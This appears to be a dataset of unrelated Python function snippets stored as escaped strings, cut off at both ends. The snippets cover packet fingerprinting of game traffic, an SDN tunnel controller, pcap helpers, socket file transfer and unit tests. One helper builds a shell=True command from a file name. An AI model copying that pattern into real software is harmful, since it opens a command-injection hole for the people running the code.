(LiveUDPClient[SrcClient] == False)):\n\t\t\t\t\tLiveUDPClient[SrcClient] = True\n\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_\" + dport, \"open\", \"halflife/client\")\n\t\t\telif (sport == \"27013\") and (sIP == \"207.173.177.12\"):\t\t\t\t\t\t\t#halflife server\n\t\t\t\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\n\t\t\t\t\tLiveUDPService[SrcService] = True\n\t\t\t\t\tReportId(\"US\", sIP, \"UDP_\" + sport, \"open\", \"halflife/server\")\n\t\t\telif ( (sport == \"27016\") or (sport == \"27017\") ) and (dport == \"27005\"):\t\t\t\t#halflife server live game\n\t\t\t\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\n\t\t\t\t\tLiveUDPService[SrcService] = True\n\t\t\t\t\tReportId(\"US\", sIP, \"UDP_\" + sport, \"open\", \"halflife/server\")\n\t\t\telif ( (dport == \"27015\") or (dport == \"27016\") or (dport == \"27025\") or (dport == \"27026\") ):\t\t#Variable payload, so can't: (Payload != None) and (Payload.find('basic') > -1)\t#Halflife client\n\t\t\t\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\n\t\t\t\t\tLiveUDPClient[SrcClient] = True\n\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_\" + dport, \"open\", \"halflife/client\")\n\t\t\telif (dport == \"27017\") and ( (dIP == \"69.28.148.250\") or (dIP == \"69.28.156.250\") or (dIP == \"72.165.61.161\") or (dIP == \"72.165.61.185\") or (dIP == \"72.165.61.186\") or (dIP == \"72.165.61.188\") or (dIP == \"68.142.64.164\") or (dIP == \"68.142.64.165\") or (dIP == \"68.142.64.166\") ):\t#Steamfriends client\n\t\t\t\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\n\t\t\t\t\tif (Payload != None) and (Payload.find('VS01') > -1):\n\t\t\t\t\t\tLiveUDPClient[SrcClient] = True\n\t\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_\" + dport, \"open\", \"steamfriends/client\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tUnhandledPacket(p)\n\t\t\telif (sport == \"27017\") and ( (sIP == \"69.28.148.250\") or (sIP == \"69.28.156.250\") or (sIP == \"72.165.61.161\") or (sIP == \"72.165.61.185\") or (sIP == \"72.165.61.186\") or (sIP == \"72.165.61.188\") or (sIP == \"68.142.64.164\") or (sIP == \"68.142.64.165\") or (sIP == \"68.142.64.166\") ):\t#Steamfriends server\n\t\t\t\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\n\t\t\t\t\tif (Payload != None) and (Payload.find('VS01') > -1):\n\t\t\t\t\t\tLiveUDPService[SrcService] = True\n\t\t\t\t\t\tReportId(\"US\", sIP, \"UDP_\" + sport, \"open\", \"steamfriends/server\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tUnhandledPacket(p)\n\t\t\telif ( (sport == \"21020\") or (sport == \"21250\") or (sport == \"27016\") or (sport == \"27017\") or (sport == \"27018\") or (sport == \"27030\") or (sport == \"27035\") or (sport == \"27040\") or (sport == \"28015\") ):\t\t\t\t\t\t\t#halflife server\n\t\t\t\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\n\t\t\t\t\tif (Payload != None) and (Payload.find('Team Fortress') > -1):\n\t\t\t\t\t\tLiveUDPService[SrcService] = True\n\t\t\t\t\t\tReportId(\"US\", sIP, \"UDP_\" + sport, \"open\", \"halflife/server\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tUnhandledPacket(p)\n\t\t\telif (sport == \"27019\"):\t\t\t\t\t\t\t#halflife server\n\t\t\t\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\n\t\t\t\t\tLiveUDPService[SrcService] = True\n\t\t\t\t\tReportId(\"US\", sIP, \"UDP_\" + sport, \"open\", \"halflife/server\")\n\t\t\telif ( (dport == \"1265\") or (dport == \"20100\") or (dport == \"21550\") or (dport == \"27000\") or (dport == \"27017\") or (dport == \"27018\") or (dport == \"27019\") or (dport == \"27022\") or (dport == \"27030\") or (dport == \"27035\") or (dport == \"27050\") or (dport == \"27078\") or (dport == \"27080\") or (dport == \"28015\") or (dport == \"28100\") or (dport == \"45081\") ):\t\t#Halflife client\n\t\t\t\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\n\t\t\t\t\tif (Payload != None) and (Payload.find('Source Engine Query') > -1):\n\t\t\t\t\t\tLiveUDPClient[SrcClient] = True\n\t\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_\" + dport, \"open\", \"halflife/client\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tUnhandledPacket(p)\n\t\t\telif (dport == \"24441\"):\t\t\t#Pyzor\n\t\t\t\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\n\t\t\t\t\tif (Payload != None) and (Payload.find('User:') > -1):\n\t\t\t\t\t\tLiveUDPClient[SrcClient] = True\n\t\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_\" + dport, \"open\", \"pyzor/client\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tUnhandledPacket(p)\n\t\t\t#FIXME - interesting issue; the ttl<5 test will catch traceroutes coming into us, but not ones we're creating to go out. Hmmm.\n\t\t\telif ( (dport >= \"33434\") and (dport <= \"33524\") ) and (p['IP'].ttl <= 5):\t#udptraceroute client\n\t\t\t\tif ((not LiveUDPClient.has_key(sIP + \"UDP_33434\")) or (LiveUDPClient[sIP + \"UDP_33434\"] == False)):\n\t\t\t\t\tLiveUDPClient[sIP + \"UDP_33434\"] = True\n\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_33434\", \"open\", \"udptraceroute/client\")\n\t\t\telif (dport == \"40348\"):\n\t\t\t\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\n\t\t\t\t\tif (Payload != None) and (Payload.find('HLS') > -1):\n\t\t\t\t\t\tLiveUDPClient[SrcClient] = True\n\t\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_\" + dport, \"open\", \"halflife/client\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tUnhandledPacket(p)\n\t\t\telif (p['IP'].frag > 0):\n\t\t\t\tUnhandledPacket(p)\n\t\t\telif (sIP == \"207.46.51.74\") or (sIP == \"65.55.251.10\"):\t\t\t\t#Bigfish.com - dns?\n\t\t\t\tUnhandledPacket(p)\n\t\t\telif (sIP == \"61.215.106.146\"):\t\t\t\t#junk\n\t\t\t\tUnhandledPacket(p)\n\t\t\telse:\n\t\t\t\tUnhandledPacket(p)\n\t\telse:\n\t\t\tDebug(\"Other IP protocol (\" + str(p['IP'].src) + \"->\" + str(p['IP'].dst) + \"): \" + str(p['IP'].proto))\n\t\t\tUnhandledPacket(p)\n\telif p['Ethernet'].type == 0x86DD:\t\t#IPv6\n\t\tUnhandledPacket(p)\n\telse:\n\t\tprint \"Unregistered ethernet type:\", p['Ethernet'].type\n\t\tUnhandledPacket(p)","def test_read_from_file(self):\n test = Server()\n test.cur_dir = os.getcwd()\n inputs = [['read_file', 'test_file.txt'],\n ['read_file', 'test_file.txt'],\n ['read_file', None],\n ['read_file', 'test_file.txt'] ]\n response = ['Hello, this is a test file.',\n 'Message:The file is read completely. Nothing more to read from this file',\n 'name of the file should be given',\n 'Hello, this is a test file.']\n res = []\n for val in inputs:\n res.append(test.read_from_file(val))\n # print(\"****************************************\")\n # print(res)\n self.assertListEqual(res, response)","def create_pcap_req(self, input_pkt_list, input_if_idx,\n receive, output_if_idx):\n req_file = self.get_req_file_name()\n # create the pcap files first\n self.input_pcap_file = req_file + \".input.pcap\"\n wrpcap(self.input_pcap_file, input_pkt_list)\n inp_pcap_filestr_list = self.input_pcap_file.split(\"/\")\n inp_pcap_filestr = inp_pcap_filestr_list[len(\n inp_pcap_filestr_list) - 1]\n if (receive is True):\n self.output_pcap_file = req_file + \".output.pcap\"\n out_pcap_filestr_list = self.output_pcap_file.split(\"/\")\n out_pcap_filestr = \\\n out_pcap_filestr_list[len(out_pcap_filestr_list) - 1]\n\n # write the request file now\n hdr = \"<?xml version=\\\"1.0\\\"?><test><test_name>\" +\\\n \"pkt test</test_name><packet>\"\n footer = \"</packet></test>\"\n\n with open(req_file, 'w') as fh:\n try:\n fh.write(hdr)\n fh.write(\"<pcap_input_file>\" + inp_pcap_filestr +\n \"</pcap_input_file>\\n\")\n if (receive is True):\n fh.write(\"<pcap_output_file>\" + out_pcap_filestr\n + \"</pcap_output_file>\\n\")\n fh.write(\"<tx_interface> <vif_index>\" + input_if_idx\n + \"</vif_index></tx_interface>\\n\")\n if (receive is True):\n fh.write(\"<rx_interface> <vif_index>\" + output_if_idx +\n \"</vif_index> </rx_interface>\\n\")\n fh.write(footer)\n except Exception as e:\n self.logger.error(\"Failed to write pcap req file\")\n self.logger.error(e)\n return None\n try:\n subprocess.call(\"xmllint --format \" + req_file +\n \" --output \" + req_file, shell=True)\n except Exception as e:\n self.logger.error(e)\n self.logger.error(\"Failed to format xml output\")\n return None\n return req_file","def _packet_in(self, ev):\n\n dp = ev.msg.datapath\n ofp = dp.ofproto\n parser = dp.ofproto_parser\n match = ev.msg.match\n\n ##SNDCP packet with multiple fragments recieved - print warning, send ICMP fragmentation needed\n ##TODO: Not WOrking correctly\n ## File \"/usr/local/lib/python2.7/dist-packages/ryu/ofproto/ofproto_v1_3_parser.py\", line 746, in __getitem__\n ## return dict(self._fields2)[key]\n ## KeyError: 'udp_dst'\n\n # if (match['eth_type'] == 0x0800 and match['ip_proto'] == inet.IPPROTO_UDP\n # and match['udp_dst'] == VGSN_PORT and match['sndcp_first_segment'] == 1\n # and match['sndcp_more_segments'] == 1):\n # _icmp_send(dp,match['in_port'],match['ipv4_dst'],match['ipv4_src'],match['eth_dst'],match['eth_src'],icmp_type=3,icmp_code=4)\n # LOG.warning('WARNING: Device with IP: '+match['ipv4_src']+' sent fragmented sndcp packet')\n # return\n\n ##ARP request recieved - send 'I'm here' response\n if match['eth_type'] == 0x0806 and match['arp_op'] == 1:\n LOG.debug(\"ARP request accepted\")\n _arp_send(dp=dp, port_out=match['in_port'], arp_code=2, eth_dst=match['eth_src'], eth_target=match['arp_sha'],\n ip_target=match['arp_spa'], ip_sender=match['arp_tpa'])\n LOG.debug('Reply to '+match['arp_spa'] +': Host '+match['arp_tpa']+' is at forwarder '+str(dp.id) + \" with ethX source MAC address\")\n return\n\n ##ARP response with target_ip==DISCOVERY_ARP_IP recieved - we found APN\n #\n # FIXED: All ARP responses are replied, regardless of the target IP\n #\n # TODO : At this point only ARPs belonging to the APNs networks subnet should\n # be answered\n if match['eth_type'] == 0x0806 and match['arp_op'] == 2:\n LOG.debug('TUNNEL MNGR: ARP response with target APN discovery IP recieved at controller, processing for APN extraction')\n pkt = packet.Packet(array.array('B', ev.msg.data))\n arp_pkt=pkt.get_protocol(arp.arp)\n apn_ip = arp_pkt.src_ip\n apn_mac= arp_pkt.src_mac\n port = match['in_port']\n\n ##Search for apn in APN_POOL to add mac addr. and update topology\n for sApn in APN_POOL:\n if sApn.ip_addr == apn_ip:\n LOG.debug('Recieved ARP response was from ' + sApn.name + ' APN')\n sApn.eth_addr = apn_mac\n sApn.port = port\n sApn.dpid = dp.id\n # Links towards APNs will not be measured\n topo.add_link(dp.id,str(sApn.name),port)\n topo.add_link(str(sApn.name),dp.id,0)\n topo.reload_topology()\n LOG.debug('TUNNEL MNGR: APN '+str(sApn.name)+' found at forwarder: '+str(dp.id)+', port: '+str(port) + ' by ARP search')\n\n ##Add special rules to edge forwarder\n self.on_edge_inet_dp_join(dp, port, sApn)\n\n # FIX: We do not handle bss as a special APN\n # For greater extensibility, BSS/UTRAN/LAN APNs (exit/enter) points\n # will be handled in a generic manner\n #\n ##Create MAC-tunnels between APN and all BSSs\n #for bss in BSS_POOL:\n # self.add_tunnel(bss,apn)\n #break\n\n ### WMNC: In this case, we are not making tunnels between\n # two types of ingress/egress point, but actually same type\n\n for dApn in APN_POOL:\n # we are cycling through all possible APNs, looking for different APN tupples\n # with filled HW addresses (already found by APN search)\n if sApn != dApn and dApn.eth_addr != None:\n LOG.debug('TUNNEL MNGR: Different APNs with filled HW address found, lets find out if there is tunnel between them')\n\n paths = False\n try:\n paths = nx.all_simple_paths(topo.DynamicGraph, source=sApn.name, target=dApn.name)\n except:\n LOG.debug('TUNNEL MNGR: No path between: ' + sApn.name + ' and ' + dApn.name + '. Retry when next APN discovered.')\n\n LOG.debug('TUNNEL MNGR: These are the paths between them (possible tunnels):')\n if paths:\n for path in paths:\n LOG.debug('TUNNEL MNGR: Calling add_plainMacTunnel for ' + sApn.name + ' and ' + dApn.name + ' with path: ' + str(path))\n self.add_plainMacTunnel(sApn, dApn, path)\n else:\n LOG.debug('TUNNEL MNGR: PATHS == 0 ????????????????')\n\n\n return\n\n ##ICMP echo with dst_ip==DISCOVERY_IP_DST recieved - new link between forwarders is up\n if match['eth_type'] == 0x0800 and match['ipv4_dst'] == DISCOVERY_IP_DST and match['ip_proto'] == 1:\n #LOG.debug('TOPO MNGR: ICMP echo recieved at controller, processing for link extraction or latency measurement')\n\n pkt = packet.Packet(array.array('B', ev.msg.data))\n\n ##Discovery pings carry information about sending datapath in payload of icmp packet\n ##these information are in Dictionary format, we parse the out with _icmp_parse_payload() method\n body = _icmp_parse_payload(pkt)\n neighbourDPID=body['dpid']\n neighbourPort=body['port_out']\n\n ## measurement\n ## currentClock moved way up to improve precision\n receivedClock=float(body['clock'])\n currentClock = time.clock()\n latency = currentClock - receivedClock\n\n currentDate = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n\n ##Update latency or add new edges to topology.\n if topo.DynamicGraph.has_edge(dp.id, neighbourDPID) and topo.DynamicGraph.has_edge(neighbourDPID, dp.id):\n topo.StaticGraph[neighbourDPID][dp.id]['pdv'] = topo.StaticGraph[neighbourDPID][dp.id]['lat'] - latency\n topo.StaticGraph[neighbourDPID][dp.id]['lat'] = latency\n topo.StaticGraph[neighbourDPID][dp.id]['upt'] = currentDate\n #topo.StaticGraph[neighbourDPID][dp.id]['upt'] = currentDate\n loss = self.loss_update(neighbourDPID, dp.id, currentDate)\n #LOG.debug('TOPO MNGR: Updating latency ' + str(latency) + ' and date ' + str(currentDate) + ' LOSS: ' + str(loss))\n topo.reload_topology()\n else:\n ## latency not correct for both directions when adding links\n ## update occurs on receive of next measurement packet from oposite direction\n topo.add_link(dp.id, neighbourDPID, ev.msg.match['in_port'], latency, currentDate)\n topo.add_link(neighbourDPID, dp.id, neighbourPort , latency, currentDate)\n LOG.debug('TOPO MNGR: Topology changed: New link between forwarder ID '+str(dp.id)+ ' via port ' + str(ev.msg.match['in_port'])\n +' and forwarder ID '+str(neighbourDPID)+ ' via port ' + str(neighbourPort) + ' was discovered.')\n\n topo.reload_topology()\n ## retry to create tunnels\n ## find better paths between APNs\n for sApn in APN_POOL:\n for dApn in APN_POOL:\n if sApn != dApn:\n LOG.debug('TOPO MNGR: Topology changed: trying to re-build inactive tunnel between:' + sApn.name + ' and ' + dApn.name)\n paths = False\n try:\n paths = nx.all_simple_paths(topo.DynamicGraph, source=sApn.name, target=dApn.name)\n except:\n LOG.debug('No path between: ' + sApn.name + ' and ' + dApn.name + '. Retry when next fwd connects.')\n\n LOG.debug('TUNNEL MNGR: These are the paths between them (possible tunnels):')\n if paths:\n for path in paths:\n LOG.debug('TUNNEL MNGR: Calling add_plainMacTunnel for ' + sApn.name + ' and ' + dApn.name + ' with path: ' + str(path))\n self.add_plainMacTunnel(sApn, dApn, path)\n else:\n LOG.debug('TUNNEL MNGR: PATHS == 0 ????????????????')\n return\n\n # flow of last resort (process for routing)\n if match['eth_type'] == 0x0800:\n # LOG.debug('*****************Flow of last resort matched(plain IP), process for routing********'\n # + ' match[ipv4_dst]: ' + str(match['ipv4_dst'] + ' match[ipv4_src]: ' + str(match['ipv4_src']) + ' DSCP: ' + str(match['ip_dscp'])))\n ## Not very proud of myself, but it will do the trick\n ## Turbo lumberjack routing logic\n ## TODO: Implement a longest prefix match routing\n\n candidates = []\n\n for source, destination, ip_dscp in routesList:\n if ((source == match['ipv4_dst'] and destination == match['ipv4_src']) or (source == match['ipv4_src'] and destination == match['ipv4_dst'])) and ip_dscp == match['ip_dscp']:\n # LOG.debug('ROUTING: route source: ' + str(source) + 'destination: ' + str(destination)\n # + ' match[ipv4_dst]: ' + str(match['ipv4_dst'])\n # + ' match[ipv4_src]: ' + str(match['ipv4_src']) + ' DSCP: ' + str(ip_dscp)\n # + ' already exists, aborting addition of new route')\n return\n\n for tunnel in TUNNELS:\n if (tunnel.sApn.ip_addr == match['ipv4_dst'] and tunnel.dApn.ip_addr == match['ipv4_src']) or (tunnel.sApn.ip_addr == match['ipv4_src'] and tunnel.dApn.ip_addr == match['ipv4_dst']):\n LOG.debug('ROUTING: Tunnel candidate found in list of tunnels. Adding tunnel path: ' + str(tunnel.po_edges) + ' to candidates.')\n candidates.append(tunnel)\n\n trafficClass = self.TC_selection(match['ip_dscp'])\n\n if len(candidates) == 0:\n LOG.debug('ROUTING: match[ipv4_dst]: ' + str(match['ipv4_dst'])\n + ' match[ipv4_src]: ' + str(match['ipv4_src']) + ' DSCP: ' + str(match['ip_dscp']))\n LOG.debug('ROUTING: ERROR, NO feasible tunnels for such route.')\n return\n\n LOG.debug('Looking for tunnels: DST_IP: ' + match['ipv4_dst'] + ' SRC_IP: ' + match['ipv4_src'] + ' DSCP: ' + str(match['ip_dscp']) + '(traffic class: ' + str(trafficClass) + ')' + ' Incoming from FWD: ' + str(dp.id))\n tunnel = self.tunnel_selection(trafficClass, candidates)\n LOG.debug('TE MNGR: Selected tunnel Path out: ' + str(tunnel.path_out_str) + ' meter_id: ' + str(tunnel.meter_id))\n\n dscp = match['ip_dscp']\n\n ## meter_id\n ## 2,4,6,8,10 = 500kbps, 1,3,5,7,9 = 1000kbps ...\n ## 0 = 100Gbps\n meter_id = tunnel.meter_id\n\n #\n # FIXME: incomplete set of rules installed on LAN Access forwarders\n # TODO : Philosophy of table IDs should be clarified, as now it total mess!!!\n # TODO : this should be done only once, from that moment, all user plane packets\n # should travelse only forwarder and should not be sent to controller\n\n\n\n #WAY OUT\n dp = dpset.get(tunnel.sApn.dpid)\n parser = dp.ofproto_parser\n ofp = dp.ofproto\n match = parser.OFPMatch (eth_type=0x0800, ipv4_dst=tunnel.dApn.ip_addr, ip_dscp=dscp)\n actions = [parser.OFPActionSetField(eth_src=tunnel.tid_in), parser.OFPActionSetField(eth_dst=tunnel.tid_out)]\n inst = [parser.OFPInstructionGotoTable(MAC_TUNNEL_TABLE), parser.OFPInstructionMeter(meter_id), parser.OFPInstructionActions(ofp.OFPIT_APPLY_ACTIONS, actions)]\n req = parser.OFPFlowMod(datapath=dp, priority=100, match=match, instructions=inst, table_id=INGRESS_TABLE)\n dp.send_msg(req)\n\n LOG.debug('ROUTING: Installing flow ON WAY OUT to forwarderID: ' + str(dp.id) + ',Table: ' + str(INGRESS_TABLE) + ' DP ID: ' + str(tunnel.dApn.dpid) + ' Tunel dApn IP addr: ' + str(tunnel.dApn.ip_addr) + ' Tunnel ID: ' + str(tunnel.tid_out))\n\n dp = dpset.get(tunnel.dApn.dpid)\n parser = dp.ofproto_parser\n ofp = dp.ofproto\n match = parser.OFPMatch (eth_dst=tunnel.tid_out)\n actions = [parser.OFPActionSetField(eth_dst=tunnel.dApn.eth_addr), parser.OFPActionOutput(tunnel.path_out[-1].port_out)]\n inst = [parser.OFPInstructionActions(ofp.OFPIT_APPLY_ACTIONS, actions)]\n req = parser.OFPFlowMod(datapath=dp, priority=300, match=match, instructions=inst, table_id=ACCESS_ADAPTATION_TABLE_OUT)\n dp.send_msg(req)\n LOG.debug('ROUTING: Installing flow ON WAY OUT to forwarderID: ' + str(dp.id) + ',Table: ' + str(ACCESS_ADAPTATION_TABLE_OUT) + ' DP ID: ' + str(tunnel.dApn.dpid)+ ' Tunel ID: ' + str(tunnel.tid_out)+ ' dApn ETH addr: ' + str(tunnel.dApn.eth_addr))\n\n #WAY IN\n dp = dpset.get(tunnel.dApn.dpid)\n parser = dp.ofproto_parser\n ofp = dp.ofproto\n match = parser.OFPMatch (eth_type=0x0800, ipv4_dst=tunnel.sApn.ip_addr, ip_dscp=dscp)\n actions = [parser.OFPActionSetField(eth_dst=tunnel.tid_in), parser.OFPActionSetField(eth_src=tunnel.tid_out)]\n inst = [parser.OFPInstructionGotoTable(MAC_TUNNEL_TABLE), parser.OFPInstructionMeter(meter_id), parser.OFPInstructionActions(ofp.OFPIT_APPLY_ACTIONS, actions)]\n req = parser.OFPFlowMod(datapath=dp, priority=100, match=match, instructions=inst, table_id = INGRESS_TABLE)\n dp.send_msg(req)\n LOG.debug('ROUTING: Installing flow ON WAY IN to forwarderID: ' + str(dp.id) + ',Table: ' + str(INGRESS_TABLE) + ' DP ID: ' + str(tunnel.sApn.dpid) + ' Tunel dApn IP addr: ' + str(tunnel.sApn.ip_addr) + ' Tunnel ID: ' + str(tunnel.tid_in))\n\n\n dp = dpset.get(tunnel.sApn.dpid)\n parser = dp.ofproto_parser\n ofp = dp.ofproto\n match = parser.OFPMatch (eth_dst=tunnel.tid_in)\n actions = [parser.OFPActionSetField(eth_dst=tunnel.sApn.eth_addr), parser.OFPActionOutput(tunnel.path_in[-1].port_out)]\n inst = [parser.OFPInstructionActions(ofp.OFPIT_APPLY_ACTIONS, actions)]\n req = parser.OFPFlowMod(datapath=dp, priority=300, match=match, instructions=inst, table_id=ACCESS_ADAPTATION_TABLE_OUT)\n dp.send_msg(req)\n LOG.debug('ROUTING: Installing flow ON WAY IN to forwarderID: ' + str(dp.id) + ',Table: ' + str(ACCESS_ADAPTATION_TABLE_OUT) + ' DP ID: ' + str(tunnel.sApn.dpid)+ ' Tunel ID: ' + str(tunnel.tid_in)+ ' sApn ETH addr: ' + str(tunnel.sApn.eth_addr))\n\n\n LOG.debug('ROUTING: Rules on access edge forwarders installed')\n LOG.debug('ROUTING: Adding route: DST_IP: ' + tunnel.dApn.ip_addr + ' SRC_IP: ' + tunnel.sApn.ip_addr + ' dscp: ' + str(dscp) + ' path out str: ' + tunnel.path_out_str )\n routesList.append( ( tunnel.sApn.ip_addr, tunnel.dApn.ip_addr, dscp) )\n\n parser = dp.ofproto_parser\n\n for dpid in LAN_TYPE_FORWARDERS:\n ## DUNNO why this rule with low priority still hits traffic which is also matched by rules with IP address matches\n ## Here I delete the rule, it is added on FWD when it connects to controoller\n LOG.debug('TOPO MNGR: Forwarder: ' + str(dpid) + ' is a LAN edge forwarder, deleting rules')\n dp = dpset.get(dpid)\n priority = 2\n match = parser.OFPMatch(eth_type=0x0800)\n actions = [parser.OFPActionOutput(ofp.OFPP_CONTROLLER)]\n self.mod_flow(dp, command=dp.ofproto.OFPFC_DELETE_STRICT,\n table_id=0, actions=actions,\n match=match, priority=priority)\n\n LOG.debug('TOPO MNGR: Forwarder: ' + str(dp.id) + ' is a LAN edge forwarder, installing rules again :)')\n match = parser.OFPMatch(eth_type=0x0800)\n actions = [parser.OFPActionOutput(ofp.OFPP_CONTROLLER)]\n self.add_flow(dp, 2, match, actions)","def process_pcap(self):\n fp = open(self.pcap, \"rb\")\n pkts = dpkt.pcap.Reader(fp)\n self.process_pkts(pkts)","def give_local_file(connected_socket, ip, port):\n try:\n connected_socket.sendto(bytes(\"give\", \"UTF-8\"), (ip, port))\n local_path = input(\"Path to Local File to Give: \")\n file = open(local_path, \"rb\") # Open a file in byte mode\n file_bytes = file.read() # Read all bytes\n file.close()\n remote_path = input(\"Path to Remote Destination: \")\n give_message = remote_path + \" | \" + str(len(file_bytes))\n connected_socket.sendto(bytes(give_message, \"UTF-8\"), (ip, port))\n sleep(0.5) # Wait so the remote host has time to process and reply\n connected_socket.sendto(file_bytes, (ip, port))\n sleep(0.5) # Wait so the remote host has time to process and reply\n status_message = connected_socket.recv(BUFFER_SIZE)\n print(status_message.decode(\"UTF-8\"))\n except FileNotFoundError:\n print(\"Error: Local File Not Found\")\n connected_socket.sendto(bytes(\"ERROR\", \"UTF-8\"), (ip, port))","def write_pkts(self, pkt_list):\r\n while True:\r\n # wait for the next transmission\r\n yield self.wait_sys_clks(1)\r\n\r\n # send one word at a time\r\n if len(pkt_list) == 0:\r\n # no more data to send so send blanks\r\n tdata = '\\x00'*self.bus_width\r\n tuser = Tuser(0, 0, 0)\r\n msg = AXI_S_message(tdata,0,0,0,tuser)\r\n self.out_pipe.put(msg)\r\n else:\r\n # send packets\r\n pkt = pkt_list[0]\r\n yield self.env.process(self.send_pkt(pkt))\r\n # remove the pkt we just sent from the pkt_list\r\n pkt_list = pkt_list[1:]","def get_remote_file(connected_socket, ip, port):\n connected_socket.sendto(bytes(\"get\", \"UTF-8\"), (ip, port))\n remote_path = input(\"Path to Remote File to Get: \")\n connected_socket.sendto(bytes(remote_path, \"UTF-8\"), (ip, port))\n status_message_bytes = connected_socket.recv(BUFFER_SIZE)\n status_message = status_message_bytes.decode(\"UTF-8\")\n if \"Error\" not in status_message:\n file_bytes = bytes()\n loop = True\n while loop: # Reads until all bytes of the file have been received\n try:\n file_bytes += connected_socket.recv(BUFFER_SIZE)\n except socket.timeout: # Time out shows that no more data exists in the socket buffer\n loop = False\n print(\"Expected: \" + status_message + \" bytes | Found: \" + str(len(file_bytes)))\n local_path = input(\"Path to Local Destination: \")\n try:\n with open(local_path, \"wb\") as file:\n file.write(file_bytes)\n print(\"File Saved to \" + local_path)\n except Exception as e:\n print(e)\n else:\n print(status_message)","def upload_samples(self, file):\n result = self._upload_sample(file)\n if \"samples\" in result:\n return result[\"samples\"]\n else:\n return [result]","def get_output_pcap_file(self, req_file):\n # run vtest cmd which will generate output pcap file\n # and return that file\n self.run_vtest_command(True, req_file)\n return self.output_pcap_file","def test():\n from chains.sources import packet_streamer\n from chains.links import packet_meta\n from chains.links import reverse_dns\n from chains.utils import file_utils\n\n # Create a PacketStreamer and set its output to PacketSummary input\n data_path = file_utils.relative_dir(__file__, '../../data/http.pcap')\n\n streamer = packet_streamer.PacketStreamer(iface_name=data_path, max_packets=50)\n meta = packet_meta.PacketMeta()\n rdns = reverse_dns.ReverseDNS()\n printer = PacketSummary()\n\n # Set up the chain\n meta.link(streamer)\n rdns.link(meta)\n printer.link(rdns)\n\n # Pull the chain\n printer.pull()","def tests():\n\n global ToartalCount1, ToartalCount2\n s = initTcpConn()\n sock, mreq = initUDPconn()\n s.listen(1)\n while True:\n timer = time.time() + 10\n while time.time() < timer:\n sock.sendto(mreq, (LocalIP, 13117))\n time.sleep(1)\n s.settimeout(0)\n try:\n conn, add = s.accept()\n except:\n print(\"accepting connection faild\")\n conn.setblocking(1)\n data=conn.recv(BufferSize)\n print(\"hii \" + data.decode() + \" welcome to the game\")\n try:\n conn.sendall(\"Please Enter what ever you want you have 10 sec\".encode())\n except:\n print(\"sending starting mss faild\")\n timer = time.time() + 10\n while time.time() < timer:\n ch = conn.recv(1)\n count = count + 1\n print(count)","def check_sample_decode(self):\n sample_size = len(self.sample_decode.sample_decode_list)\n log_line = \"epoch={0}, global step={1}, sample size={2}\".format(self.sample_decode_info.epoch,\n self.sample_decode_info.global_step, sample_size).encode('utf-8')\n self.log_writer.write(\"{0}\\r\\n\".format(log_line))\n print(log_line)\n \n for i, sample_decode in enumerate(self.sample_decode.sample_decode_list):\n sample_input = sample_decode[\"sample_input\"]\n log_line = \"sample {0} - input: {1}\".format(i+1, sample_input).encode('utf-8')\n self.log_writer.write(\"{0}\\r\\n\".format(log_line))\n print(log_line)\n sample_output = sample_decode[\"sample_output\"]\n log_line = \"sample {0} - output: {1}\".format(i+1, sample_output).encode('utf-8')\n self.log_writer.write(\"{0}\\r\\n\".format(log_line))\n print(log_line)\n sample_reference = sample_decode[\"sample_reference\"]\n log_line = \"sample {0} - reference: {1}\".format(i+1, sample_reference).encode('utf-8')\n self.log_writer.write(\"{0}\\r\\n\".format(log_line))\n print(log_line)","def send_file(self, file_name):\n\n try:\n dataPort = self.client_socket.recv(1024).decode()\n print(\"[Control] Data port is {}\".format(dataPort))\n\n # Connect to the data connection\n dataConnection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n dataConnection.connect((self.client_ip, int(dataPort)))\n\n file_size = os.path.getsize(file_name)\n self.client_socket.sendall(\n \"Exists,{}\".format(file_size).encode('utf-8'))\n\n while True:\n recv_data = self.client_socket.recv(1024)\n request = recv_data.decode('utf-8').strip().split(\",\")\n\n if request[0] == \"Ready\":\n print(\"Sending file {} to client {}\".format(\n file_name, self.client_ip))\n\n with open(file_name, \"rb\") as file:\n dataConnection.sendfile(file)\n elif request[0] == \"Received\":\n if int(request[1]) == file_size:\n self.client_socket.sendall(\"Success\".encode('utf-8'))\n print(\"{} successfully downloaded to client {}\".format(\n file_name, self.client_ip))\n break\n else:\n print(\"Something went wrong trying to download to client {}:{}. Try again\".format(\n self.client_ip, self.client_port))\n break\n else:\n print(\"Something went wrong trying to download to client {}:{}. Try again\".format(\n self.client_ip, self.client_port))\n break\n except IOError:\n print(\"File {} does not exist on server\".format(file_name))\n self.client_socket.sendall(\"Failed\".encode('utf-8'))","def test_send_file(self):\n enc_file, add_data = self.send_file(self.nonce1, self.nonce2)\n self.assertNotEqual(len(add_data.keys()), 0)","def test_multi_line_missing_frames():\n\n for protocol in LEGACY_PROTOCOLS:\n p = protocol([])\n\n\n test_case = [\n \"48 6B 10 49 02 01 00 01 02 03 FF\",\n \"48 6B 10 49 02 02 04 05 06 07 FF\",\n \"48 